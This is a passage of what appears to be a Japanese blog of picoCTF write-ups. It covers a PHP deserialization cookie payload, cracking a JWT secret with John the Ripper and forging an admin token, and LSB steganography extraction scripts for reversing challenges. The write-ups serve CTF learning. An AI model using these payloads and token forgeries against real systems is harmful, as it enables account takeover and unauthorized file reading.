TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
$ echo -n TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9 | base64 -d
O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}
生成された値をlogin
クッキーにセットしてauthentication.php
へリクエストを送ったところ、フラグを取れた。
$ curl -i http://mercury.picoctf.net:2148/authentication.php -H "Cookie: login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9"
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=j5ipbaj7p7fjj2t2c9potsc9ge; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_<REDACTED>}
JaWT Scratchpad (400points)
Webサイトhttp://jupiter.challenges.picoctf.org:63090
(またはhttps://jupiter.challenges.picoctf.org/problem/63090/
)にadmin
としてアクセスしてフラグを取得する問題。
以下はサイトのソースコードである。
<!doctype html>
<html>
<title> JaWT - an online scratchpad </title>
<link rel="stylesheet" href="/static/css/stylesheet.css">
<body>
<header><h1>JaWT</h1> <br> <i><small>powered by <a href="https://jwt.io/">JWT</a></small></i></header>
<div id="main">
<article>
<h1>Welcome to JaWT!</h1>
<p>
JaWT is an online scratchpad, where you can "jot" down whatever you'd like! Consider it a notebook for your thoughts. <b style="color:blue "> JaWT works best in Google Chrome for some reason. </b>
</p>
<p>
You will need to log in to access the JaWT scratchpad. You can use any name, other than <code>admin</code>... because the <code>admin</code> user gets a special scratchpad!
</p>
<br>
<form action="#" method="POST">
<input type="text" name="user" id="name">
</form>
<br>
<h2> Register with your name! </h2>
<p>
You can use your name as a log in, because that's quick and easy to remember! If you don't like your name, use a short and cool one like <a href="https://github.com/magnumripper/JohnTheRipper">John</a>!
</p>
</article>
<nav></nav>
<aside></aside>
</div>
<script> window.onload = function() { document.getElementById("name").focus(); }; </script>
</body>
</html>
ページ内にJWT(JSON web tokens)とJohn The Ripperへの意味深なリンクが貼られていた。
試しにサイトの入力フォームにadmin
と入力して送信したところ、YOU CANNOT LOGIN AS THE ADMIN! HE IS SPECIAL AND YOU ARE NOT.
というエラーメッセージが表示された。
入力フォームに適当なユーザー名を指定してサーバーの応答を観察してみた。
$ curl -i https://jupiter.challenges.picoctf.org/problem/63090/ -d "user=hoge"
HTTP/1.1 302 FOUND
Server: nginx
Date: Fri, 01 Sep 2023 13:47:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 209
Connection: keep-alive
Location: https://jupiter.challenges.picoctf.org/
Set-Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiaG9nZSJ9.jPeEFVGfU1aydlbHnfLgUuLEH_2pydCpAQfUdL-SeA8; Path=/
Strict-Transport-Security: max-age=0
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/">/</a>. If not click the link.
Set-Cookie
ヘッダーにBase64エンコードされた認証用のトークンが含まれていたので、デコードしてみた。
$ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d
{"typ":"JWT","alg":"HS256"}
$ echo eyJ1c2VyIjoiaG9nZSJ9 | base64 -d
{"user":"hoge"}
どうやらJWT(JSON web tokens)を利用している模様。
JWTの構成は以下の通り。
[ヘッダー].[ペイロード].[署名]
上の例だと、eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
({"typ":"JWT","alg":"HS256"}
)がヘッダー、eyJ1c2VyIjoiaG9nZSJ9
({"user":"hoge"}
)がペイロード、jPeEFVGfU1aydlbHnfLgUuLEH_2pydCpAQfUdL-SeA8
が署名に該当する。
以前の問題のようにuser
パラメータをadmin
に変更し、alg
パラメータにnone
と指定してトークンを生成し、jwt
クッキーにセットしてリクエストを送ってみたが500 INTERNAL SERVER ERROR
が返ってきた。
先述したようにサイトにはJohn The Ripperへの意味深なリンクが貼られていた。
You can use your name as a log in, because that's quick and easy to remember! If you don't like your name, use a short and cool one like <a href="https://github.com/magnumripper/JohnTheRipper">John</a>!
恐らくJohn The Ripperを使ってJWTの署名に使用された鍵を特定しろということだと思われる。
John The Ripperをインストールして鍵をクラックすることにした。
最初、sudo apt-get install john
でインストールしたのだが、パッケージ版のJohn The RipperはSHA256アルゴリズムをサポートしていないようだった。
結局、GitHubのレポジトリをクローンしてソースからインストールすることにした。
インストールガイドに従い、以下のコマンドでインストールした。
sudo apt-get -y install yasm pkg-config libgmp-dev libpcap-dev libbz2-dev
sudo apt-get -y install yasm pkg-config libgmp-dev libpcap-dev libbz2-dev
git clone https://github.com/openwall/john
cd john/src
./configure && make -s clean && make -sj4
続いて、辞書攻撃で定番のrockyou.txt
をネットから適当に拾ってきた。
クラック対象のJWTトークンをcookie.txt
に保存。
$ cat cookie.txt
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiaG9nZSJ9.jPeEFVGfU1aydlbHnfLgUuLEH_2pydCpAQfUdL-SeA8
以下のコマンドでJWTトークンの署名鍵をクラックした。
cd john/run
./john /path/to/cookie.txt --wordlist=/path/to/rockyou.txt --format=HMAC-SHA256
署名鍵はilovepico
と判明した。
$ ./john /path/to/cookie.txt --wordlist=/path/to/rockyou.txt --format=HMAC-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
ilovepico (?)
1g 0:00:00:01 DONE (2023-09-02 11:50) 0g/s 4091Kp/s 4091Kc/s 4091KC/s inZtinX..ilovejesus71
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
CyberChefのJWT Sign を利用して以下のペイロードを署名した。(Signing algorithmにHS256
、Private/Secret keyにilovepico
と指定)
{"user":"admin"}
以下が生成されたトークンである。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2OTM1Nzk0NTR9.TVr9EudCLBuewjQD0spuuuB-rCkCBVcJMr8x4M1pQ30
上記のトークンをjwt
クッキーにセットしてリクエストを送ったところ、フラグを取れた。
$ curl -i http://jupiter.challenges.picoctf.org:63090/ -H "Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2OTM1Nzk0NTR9.TVr9EudCLBuewjQD0spuuuB-rCkCBVcJMr8x4M1pQ30"
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1291
<!doctype html>
<html>
<title> JaWT - an online scratchpad </title>
<link rel="stylesheet" href="/static/css/stylesheet.css">
<body>
<header><h1>JaWT</h1> <br> <i><small>powered by <a href="https://jwt.io/">JWT</a></small></i></header>
<div id="main">
<article>
<h1>Welcome to JaWT!</h1>
<p>
JaWT is an online scratchpad, where you can "jot" down whatever you'd like! Consider it a notebook for your thoughts. <b style="color:blue "> JaWT works best in Google Chrome for some reason. </b>
</p>
<h2> Hello admin!</h2>
<p>
Here is your JaWT scratchpad!
</p>
<textarea style="margin: 0 auto; display: block;">picoCTF{jawt_was_just_what_you_thought_<REDACTED>}</textarea>
<br>
<a href="/logout"><input style="width:100px" type="submit" value="Logout"></a>
<h2> Register with your name! </h2>
<p>
You can use your name as a log in, because that's quick and easy to remember! If you don't like your name, use a short and cool one like <a href="https://github.com/magnumripper/JohnTheRipper">John</a>!
</p>
</article>
<nav></nav>
<aside></aside>
</div>
<script> window.onload = function() { document.getElementById("name").focus(); }; </script>
</body>
</html>
1_wanna_b3_a_r0ck5tar (350points)
Rockstar言語で書かれたlyrics.txt
を解析してフラグを取得する問題。
以下はlyrics.txt
の内容。
Rocknroll is right
Silence is wrong
A guitar is a six-string
Tommy's been down
Music is a billboard-burning razzmatazz!
Listen to the music
If the music is a guitar
Say "Keep on rocking!"
Listen to the rhythm
If the rhythm without Music is nothing
Tommy is rockin guitar
Shout Tommy!
Music is amazing sensation
Jamming is awesome presence
Scream Music!
Scream Jamming!
Tommy is playing rock
Scream Tommy!
They are dazzled audiences
Shout it!
Rock is electric heaven
Scream it!
Tommy is jukebox god
Say it!
Break it down
Shout "Bring on the rock!"
Else Whisper "That ain't it, Chief"
Break it down
問題文にRockstarのオンラインデコーダーへのWayback Machineのリンクが貼られていたが、動作しなかったのでrockstar-pyをインストールした。
python3 -m venv my_venv
source my_venv/bin/activate
pip install rockstar-py
以下のコマンドでlyrics.txt
をデコードして、結果をdecoded.txt
に保存した。
rockstar-py -i lyrics.txt -o decoded.txt
以下はdecoded.txt
の内容。
Rocknroll = True
Silence = False
a_guitar = 10
Tommy = 44
Music = 170
the_music = input()
if the_music == a_guitar:
print("Keep on rocking!")
the_rhythm = input()
if the_rhythm - Music == False:
Tommy = 66
print(Tommy!)
Music = 79
Jamming = 78
print(Music!)
print(Jamming!)
Tommy = 74
print(Tommy!)
They are dazzled audiences
print(it!)
Rock = 86
print(it!)
Tommy = 73
print(it!)
break
print("Bring on the rock!")
Else print("That ain't it, Chief")
break
前回の問題と同様、10進数をasciiコードにデコードしたところ、BONJVI
という文字列が現れた。
>>> chr(66) + chr(79) + chr(78) + chr(74) + chr(86) + chr(73)
'BONJVI'
しかし、BONJVI
は正しいフラグではなかった。
BONJVI
って、もしかしてBon Joviのこと?と思いつき、BONJVI
をBONJOVI
に直したところ、無事フラグを送信できた。
Investigative Reversing 0 (300points)
64ビット ELFファイルmystery
とPNG画像ファイルmystery.png
を解析してフラグを取得する問題。
mystery.png
を調べてみると、ファイルの末尾にフラグらしき文字列を発見した。
$ xxd mystery.png | tail
0001e7f0: 8220 0882 2008 8220 0882 2064 1f32 1221 . .. .. .. d.2.!
0001e800: 0882 2008 8220 0882 2008 42f6 2123 1182 .. .. .. .B.!#..
0001e810: 2008 8220 0882 2008 8220 641f 3212 2108 .. .. .. d.2.!.
0001e820: 8220 0882 2008 8220 0842 f621 2311 8220 . .. .. .B.!#..
0001e830: 0882 2008 8220 0882 2064 1f32 1221 0882 .. .. .. d.2.!..
0001e840: 2008 8220 0882 2008 42f6 2123 1182 2008 .. .. .B.!#.. .
0001e850: 8220 0882 2008 8220 6417 ffef fffd 7f5e . .. .. d......^
0001e860: ed5a 9d38 d01f 5600 0000 0049 454e 44ae .Z.8..V....IEND.
0001e870: 4260 8270 6963 6f43 544b 806b 357a 7369 B`.picoCTK.k5zsi
0001e880: 6436 715f 6662 3531 6338 3231 7d d6q_fb51c821}
続いてmystery
をIDAで眺めたところ、このファイルはflag.txt
からフラグを読み込んでmystery.png
に書き込むことが判明した。
ただし、フラグはそのまま書き込まれるのではなく、以下の処理が施された上でmystery.png
に書き込まれる。
- フラグの(0から数えて)6から14バイトまでの値に対しては
add 5
(5を加算)する。 - フラグの(0から数えて)15バイト目の値に対しては
sub 3
(3を減算)する。
以下は該当箇所のコードである。
よってフラグを復元するには以下の処理を施せば良い。
- フラグの(0から数えて)6から14バイトまでの値に対しては
sub 5
(5を減算)する。 - フラグの(0から数えて)15バイト目の値に対しては
add 3
(3を加算)する。
以下のPythonスクリプトを書いてフラグを取得した。
import binascii
mangled_flag = '7069636f43544b806b357a73696436715f66623531633832317d'
mangled_flag = bytearray(binascii.unhexlify(mangled_flag))
decrypted_flag = bytearray(len(mangled_flag))
for i in range(0, len(mangled_flag)):
if (6 <= i <= 14):
decrypted_flag[i] = mangled_flag[i] - 5
elif (14 < i <= 15):
decrypted_flag[i] = mangled_flag[i] + 3
else:
decrypted_flag[i] = mangled_flag[i]
print(decrypted_flag)
$ python3 decryptor.py
bytearray(b'picoCTF{f0und_1t_<REDACTED>}')
Investigative Reversing 1 (350points)
64ビット ELFファイルmystery
とPNG画像ファイルmystery.png
、mystery2.png
、mystery3.png
を解析してフラグを取得する問題。
3つのPNG画像ファイルを調べたところ、それぞれのファイルの末尾にフラグらしきデータを発見した。
$ xxd mystery.png | tail
0001e7f0: 8220 0882 2008 8220 0882 2064 1f32 1221 . .. .. .. d.2.!
0001e800: 0882 2008 8220 0882 2008 42f6 2123 1182 .. .. .. .B.!#..
0001e810: 2008 8220 0882 2008 8220 641f 3212 2108 .. .. .. d.2.!.
0001e820: 8220 0882 2008 8220 0842 f621 2311 8220 . .. .. .B.!#..
0001e830: 0882 2008 8220 0882 2064 1f32 1221 0882 .. .. .. d.2.!..
0001e840: 2008 8220 0882 2008 42f6 2123 1182 2008 .. .. .B.!#.. .
0001e850: 8220 0882 2008 8220 6417 ffef fffd 7f5e . .. .. d......^
0001e860: ed5a 9d38 d01f 5600 0000 0049 454e 44ae .Z.8..V....IEND.
0001e870: 4260 8243 467b 416e 315f 3961 3437 3134 B`.CF{An1_9a4714
0001e880: 317d 60 1}`
$ xxd mystery2.png | tail
0001e7e0: 2108 8220 0882 2008 8220 0842 f621 2311 !.. .. .. .B.!#.
0001e7f0: 8220 0882 2008 8220 0882 2064 1f32 1221 . .. .. .. d.2.!
0001e800: 0882 2008 8220 0882 2008 42f6 2123 1182 .. .. .. .B.!#..
0001e810: 2008 8220 0882 2008 8220 641f 3212 2108 .. .. .. d.2.!.
0001e820: 8220 0882 2008 8220 0842 f621 2311 8220 . .. .. .B.!#..
0001e830: 0882 2008 8220 0882 2064 1f32 1221 0882 .. .. .. d.2.!..
0001e840: 2008 8220 0882 2008 42f6 2123 1182 2008 .. .. .B.!#.. .
0001e850: 8220 0882 2008 8220 6417 ffef fffd 7f5e . .. .. d......^
0001e860: ed5a 9d38 d01f 5600 0000 0049 454e 44ae .Z.8..V....IEND.
0001e870: 4260 8285 73 B`..s
$ xxd mystery3.png | tail
0001e7e0: 2108 8220 0882 2008 8220 0842 f621 2311 !.. .. .. .B.!#.
0001e7f0: 8220 0882 2008 8220 0882 2064 1f32 1221 . .. .. .. d.2.!
0001e800: 0882 2008 8220 0882 2008 42f6 2123 1182 .. .. .. .B.!#..
0001e810: 2008 8220 0882 2008 8220 641f 3212 2108 .. .. .. d.2.!.
0001e820: 8220 0882 2008 8220 0842 f621 2311 8220 . .. .. .B.!#..
0001e830: 0882 2008 8220 0882 2064 1f32 1221 0882 .. .. .. d.2.!..
0001e840: 2008 8220 0882 2008 42f6 2123 1182 2008 .. .. .B.!#.. .
0001e850: 8220 0882 2008 8220 6417 ffef fffd 7f5e . .. .. d......^
0001e860: ed5a 9d38 d01f 5600 0000 0049 454e 44ae .Z.8..V....IEND.
0001e870: 4260 8269 6354 3074 6861 5f B`.icT0tha_
続いてmystery
をIDAで眺めたところ、このファイルはflag.txt
からフラグを読み込み、フラグの順番を入れ替えた上でmystery.png
、mystery2.png
、mystery3.png
に分割して書き込むことが判明した。
上記のコードによると
- フラグのオフセット 4 の値が
mystery.png
に書き込まれる。 - フラグのオフセット 1の値が
mystery2.png
に書き込まれる。 - フラグのオフセット 0、2、3、の値が
mystery3.png
に書き込まれる。
ほかにもadd eax, 7
、mov [rbp+var_63], 2Ah
、shr dl, 7
、sar al, 1
などの気になる処理があったが、よく分からなかったのでスルー。
上記のコードによると
- フラグのオフセット 6 ~ 9の値が
mystery.png
に書き込まれる。 - フラグのオフセット 10の値が
mystery2.png
に書き込まれる。
途中で挟まっているadd eax 1
が何のための処理なのか分からなかった。。。
上記のコードによると
- フラグのオフセット 10 ~ 14の値が
mystery3.png
に書き込まれる。
上記のコードによると
- フラグのオフセット 15 ~ 25の値が
mystery.png
に書き込まれる。
上記のフラグの書き込み順に従って、各PNGファイルのフラグの値に本来のオフセットを割り当ててみた。
mystery.png
フラグの値 (16進数) | 43 | 46 | 7b | 41 | 6e | 31 | 5f | 39 | 61 | 34 | 37 | 31 | 34 | 31 | 7d | 60 |
本来のオフセット | 4 | 6 | 7 | 8 | 9 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 |
mystery2.png
フラグの値 (16進数) | 85 | 73 |
本来のオフセット | 1 | 10 |
mystery3.png
フラグの値 (16進数) | 69 | 63 | 54 | 30 | 74 | 68 | 61 | 5f |
本来のオフセット | 0 | 2 | 3 | 10 | 11 | 12 | 13 | 14 |
上記の対応表に従って、フラグを本来の順番に並べ替えてみた。
69 85 63 54 43 ** 46 7b 41 6e 30 74 68 61 5f 31 5f 39 61 34 37 31 34 31 7d 60
並べ替えてから気づいたのだが、オフセット5の値が抜けている。。。
単に自分が見落としているだけだと思うが (冒頭でスルーした処理が関係している?)、とりあえず上記のフラグをHexデコードしてみた。(オフセット5には、とりあえず00
と入れた。)
$ echo '69 85 63 54 43 00 46 7b 41 6e 30 74 68 61 5f 31 5f 39 61 34 37 31 34 31 7d 60' | xxd -r -p
i�cTCF{An0tha_1_9a47141}`
冒頭数バイトがデコードされなかった。。
が、デコードされなかった部分をpicoCTF
に直したところ、フラグが通った。
復号処理を完璧に解読できたわけではないが、とりあえず解けたので、まあ良し。
Investigative Reversing 2 (350points)
64ビット ELFファイルmystery
とビットマップ画像ファイルencoded.bmp
を解析してフラグを取得する問題。
mystery
を軽く調べてみたところ、このファイルはoriginal.bmp
というビットマップ画像ファイルの内容をencoded.bmp
というファイルに書き込み、flag.txt
から読み込んだフラグをencoded.bmp
に埋め込むことが判明した。
もう少し詳しく解析してみた。
まず、mystery
はoriginal.bmp
の内容をencoded.bmp
に書き込む。先頭1999バイトまでの内容がencoded.bmp
に書き込まれたら、flag.txt
からフラグを読み込んで、先頭2000バイト以降にフラグを書き込んでいく。しかし、フラグをそのまま書き込んでいくわけではなく、以下に示すようにcodedChar
という関数でフラグをこねくり回した上でencoded.bmp
に書き込む。
しかし、このcodedChar
がどういう処理をしているのかイマイチ分からなかったため、ヒントを見てた。
以下、ヒント。
Try using some forensics skills on the image
This problem requires both forensics and reversing skills
What is LSB encoding?
どうやらcodedChar
はLSBエンコーディングをするための関数らしい。
エンコーディング処理の詳細を知るためにダミーのflag.txt
、original.bmp
およびencoded.bmp
(空ファイル)を用意して動的解析してみた。(ちなみにmystery
はPIEが有効化されている。PIEが有効化されているELFファイルをデバッグする方法については、こちらの記事を参照。)
結果、以下のことが判明した。
flag.txt
からフラグを1バイト読み込む。- 読み込んだフラグから5を減算し、(
sub 5
)codedChar
に渡す。 codedChar
は戻り値として下位1ビットを返す。- 返されたビットを
encoded.bmp
の最下位ビットに書き込む。 - 8ビットすべてが
encoded.bmp
に書き込まれたら、flag.txt
から次の1バイトを読み込んで、同様の処理を行う。
上記の処理をもう少し具体的に解説してみる。
flag.txt
からフラグを1バイト読み込む。この時、p
という文字が読み込まれたとする。p
を2進数で表すと01110000
、10進数で表すと112
となる。-
p
から5が減算される。するとp
がk
に変化する。k
を2進数で表すと01101011
、10進数で表すと107
となる。 codedChar
は戻り値としてk
の下位1ビットを返す。- 返されたビットを
encoded.bmp
の最下位ビットに書き込む。 k
(01101011
) の8ビットすべてがencoded.bmp
に書き込まれたら、flag.txt
から次の1バイトを読み込んで、同様の処理を行う。
以上を踏まえたうえで、改めてencoded.bmp
の2000バイト以降のデータを眺めてみた。
それぞれの最下位ビットに印をつけてみた。
印をつけたビットを繋げると01101011
となる。(11010110
ではない点に注意。codedChar
はフラグ文字の上位ビットからではなく、下位ビットから書き込んでいくため)
01101011
をascii文字に直すとk
となる。
>>> chr(int('01101011', 2))
'k'
さらにk
に5を加算すると元のフラグ文字のp
が現れる。
>>> chr(int('01101011', 2) + 5)
'p'
よって、以下の手順でencoded.bmp
からフラグを復元することができる。
encoded.bmp
の2000バイト以降からLSBを8ビットずつ集めて、バイト・データに変換する。- バイト・データに5を加算する。
- バイト・データをascii文字に変換する。
以下のスクリプトを作成してフラグを取得した。
'''
script inspired from https://wiki.bi0s.in/forensics/lsb/
'''
with open("encoded.bmp", "rb") as f:
f.seek(2000) # skip to offset 2000 which is the beginning of the flag
file_data = f.read()
lsb_list = []
for i in file_data:
lsb_list.append(bin(i)[-1]) # creates a list of lsb
for i in range(0,500,8):
#print(lsb_list[i:i+8])
#print(lsb_list[i:i+8][::-1])
'''
1. grab 8 bits from the list
2. reverse the bits ([::-1])
3. add 5 and convert it to ascii
'''
print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2) + 5), end='')
$ python3 flag-extractor.py
picoCTF{n3xt_0n30000000000000000000000000<REDACTED>}
Investigative Reversing 3 (400points)
64ビット ELFファイルmystery
とビットマップ画像ファイルencoded.bmp
を解析してフラグを取得する問題。
mystery
を調べたところ、このファイルはoriginal.bmp
の内容をencoded.bmp
に書き込み、encoded.bmp
のオフセット723以降にflag.txt
から読み込まれたフラグを書き込んでいくことが判明した。
さらに解析を続けたところ、Investigative Reversing 2の時と同様にcodedChar
という関数を発見した。
よって、今回もLSBエンコーディングを使用してencoded.bmp
にフラグを隠している可能性が高い。
引き続きIDAで解析を続けたところ、以下の気になる分岐命令を発見した。
上記のコードは[rpb+flag_offset]
に格納されている値が偶数の場合は、先述したcodedChar
に遷移してフラグ文字にLSBエンコーディングを施し、奇数の場合は下記の命令コードにジャンプしてoriginal.bmp
から値を1バイト読み込んで、encoded.bmp
にそのまま書き込む。
これはどういうことかと言うと、フラグを8ビット、encoded.bmp
の最下位ビットに書き込んだら、1バイト 間を置いて、次のフラグ8ビットをencoded.bmp
の最下位ビットに書き込んでいくということである。
分かりやすいようにencoded.bmp
のオフセット723以降の最下位ビットに印をつけてみた。
赤で印をつけたビットを8ビットずつ繋げていくと、以下のようにフラグが現れた。
>>> chr(int('01110000', 2))
'p'
>>> chr(int('01101001', 2))
'i'
>>> chr(int('01100011', 2))
'c'
>>> chr(int('01101111', 2))
'o'
>>> chr(int('01000011', 2))
'C'
※ビットを繋げる際は、先頭のビットからではなく後ろのビットから繋げていく点に注意。codedChar
はフラグ文字の上位ビットからではなく、下位ビットから書き込んでいくため。なので、例えば最初の8ビットを繋げると、00001110
ではなく01110000
となる。
以下のスクリプトを作成してフラグを取得した。
'''
script inspired from https://wiki.bi0s.in/forensics/lsb/
'''
with open("encoded.bmp", "rb") as f:
f.seek(723) # skip to offset 723 which is the beginning of the flag
file_data = f.read()
lsb_list = []
c = 0
for i in file_data:
if (c == 0):
lsb_list.append(bin(file_data[c])[-1]) # creates a list of lsb
elif ((c+1) % 9 != 0): # if appended 8 bit, ignore 1 byte and move on to next 8 bit
lsb_list.append(bin(file_data[c])[-1]) # creates a list of lsb
c += 1
for i in range(0,500,8):
#print(lsb_list[i:i+8][::-1])
print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')
$ python3 flag-extractor02.py
picoCTF{4n0th3r_L5b_pr0bl3m_0000000000000<REDACTED>}
Investigative Reversing 4 (400points)
64ビット ELFファイルmystery
とビットマップ画像ファイルItem01_cp.bmp
、 Item02_cp.bmp
、 Item03_cp.bmp
、 Item04_cp.bmp
、Item05_cp.bmp
を解析してフラグを取得する問題。
手始めにltraceでmystery
を軽くデバッグしてみた。
$ ltrace ./mystery
fopen("flag.txt", "r") = 0
puts("No flag found, please make sure "...No flag found, please make sure this is run on the server
) = 58
fread(0x7fffffffde90, 50, 1, 0 <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
flag.txt
が無いと怒られた。
どうやらmystery
はflag.txt
からフラグを50バイト読み込む模様。以下は該当のコード。
ダミーのflag.txt
を置いて再度ltraceを実行してみた。
$ ltrace ./mystery
fopen("flag.txt", "r") = 0x555555757010
fread(0x7fffffffde90, 50, 1, 0x555555757010) = 1
fclose(0x555555757010) = 0
fopen("Item05.bmp", "r") = 0
fopen("Item05_cp.bmp", "a") = 0x555555757010
puts("No output found, please run this"...No output found, please run this on the server
) = 47
exit(0 <no return ...>
+++ exited (status 0) +++
Item05.bmp
とItem05_cp.bmp
というファイルを開こうとしているのが分かる。ディレクトリを確認するとItem05_cp.bmp
という空ファイルが作成されていた。
どうやらmystery
はItem01.bmp
、 Item02.bmp
、 Item03.bmp
、 Item04.bmp
、Item05.bmp
の内容をItem01_cp.bmp
、Item02_cp.bmp
、 Item03_cp.bmp
、 Item04_cp.bmp
、Item05_cp.bmp
に書き込み、flag.txt
の内容を5つの_cp.bmp
に分割して書き込むようである。
またフラグはItem05_cp.bmp
、Item04_cp.bmp
、Item03_cp.bmp
、 Item02_cp.bmp
、 Item01_cp.bmp
の順番で書き込まれる。
mystery
をIDAで眺めたところ、encodeAll
という関数を発見した。
encodeAll
を調べてみると、encodeDataInFile
という関数が呼び出されていた。
encodeDataInFile
は_cp.bmp
のオフセット2019以降にフラグを書き込んでいく。
また、encodeDataInFile
の中ではInvestigative Reversing 2やInvestigative Reversing 3の時と同様にcodedChar
という関数が呼び出されていた。
よって、今回もLSBエンコーディングを使用してフラグを隠している可能性が高い。
引き続きIDAで解析を続けたところ、以下の気になる命令を発見した。
このアセンブリ命令だけではチンプンカンプンだったので、Ghidraでコードをデコンパイルしてみた。
どうやらmystery
は、フラグを8ビット _cp.bmp
の最下位ビットに書き込んだら、4バイト 間を置いて、次のフラグ8ビットを_cp.bmp
の最下位ビットに書き込んでいくようである。
分かりやすいようにItem05_cp.bmp
のオフセット2019以降の最下位ビットに印をつけてみた。
赤で印をつけたビットを8ビットずつ繋げていくと、以下のようにフラグが現れた。
>>> chr(int('01110000', 2))
'p'
>>> chr(int('01101001', 2))
'i'
>>> chr(int('01100011', 2))
'c'
>>> chr(int('01101111', 2))
'o'
※ビットを繋げる際は、先頭のビットからではなく後ろのビットから繋げていく点に注意。codedChar
はフラグ文字の上位ビットからではなく、下位ビットから書き込んでいくため。なので、例えば最初の8ビットを繋げると、00001110
ではなく01110000
となる。
以下のスクリプトを作成してフラグを取得した。
'''
script inspired from https://wiki.bi0s.in/forensics/lsb/
'''
## extract flag from Item05_cp.bmp
with open("Item05_cp.bmp", "rb") as f:
f.seek(2019) # skip to offset 2019 which is the beginning of the flag
file_data = f.read()
lsb_list = []
c = 0
for i in range(0, 100):
if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0): # if appended 8 bit, skip next 4 bytes and move on to next 8 bit
c += 5
lsb_list.append(bin(file_data[c-1])[-1])
else:
lsb_list.append(bin(file_data[c])[-1])
c += 1
for i in range(0,100,8):
print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')
## extract flag from Item04_cp.bmp
with open("Item04_cp.bmp", "rb") as f:
f.seek(2019)
file_data = f.read()
lsb_list = []
c = 0
for i in range(0, 100):
if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0):
c += 5
lsb_list.append(bin(file_data[c-1])[-1])
else:
lsb_list.append(bin(file_data[c])[-1])
c += 1
for i in range(0,100,8):
print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')
## extract flag from Item03_cp.bmp
with open("Item03_cp.bmp", "rb") as f:
f.seek(2019)
file_data = f.read()
lsb_list = []
c = 0
for i in range(0, 100):
if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0):
c += 5
lsb_list.append(bin(file_data[c-1])[-1])
else:
lsb_list.append(bin(file_data[c])[-1])
c += 1
for i in range(0,100,8):
print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')
## extract flag from Item02_cp.bmp
with open("Item02_cp.bmp", "rb") as f:
f.seek(2019)
file_data = f.read()
lsb_list = []
c = 0
for i in range(0, 100):
if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0):
c += 5
lsb_list.append(bin(file_data[c-1])[-1])
else:
lsb_list.append(bin(file_data[c])[-1])
c += 1
for i in range(0,100,8):
print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')
## extract flag from Item01_cp.bmp
with open("Item01_cp.bmp", "rb") as f:
f.seek(2019)
file_data = f.read()
lsb_list = []
c = 0
for i in range(0, 100):
if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0):
c += 5
lsb_list.append(bin(file_data[c-1])[-1])
else:
lsb_list.append(bin(file_data[c])[-1])
c += 1
for i in range(0,100,8):
print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')
$ python3 flag-extractor03.py
picoCTF{N1c3_R3ver51ng_5k1115_00000000000<REDACTED>}
B1g_Mac (500points)
b1g_mac.zip
に含まれているファイルを解析してフラグを取得する問題。
b1g_mac.zip
の中身は以下の通り。
$ unzip -Z b1g_mac.zip
Archive: b1g_mac.zip
Zip file size: 295964 bytes, number of entries: 20
-rwxa-- 3.1 fat 110279 bx defN 19-Apr-06 13:24 main.exe
drwxa-- 3.1 fat 0 bx stor 19-Apr-05 19:11 test/
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:20 test/Item01 - Copy.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:20 test/Item01.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:20 test/Item02 - Copy.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:20 test/Item02.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:20 test/Item03 - Copy.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:20 test/Item03.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:21 test/Item04 - Copy.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:21 test/Item04.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:21 test/Item05 - Copy.bmp
-rw-a-- 3.1 fat 127654 bx defN 19-Mar-25 19:21 test/Item05.bmp
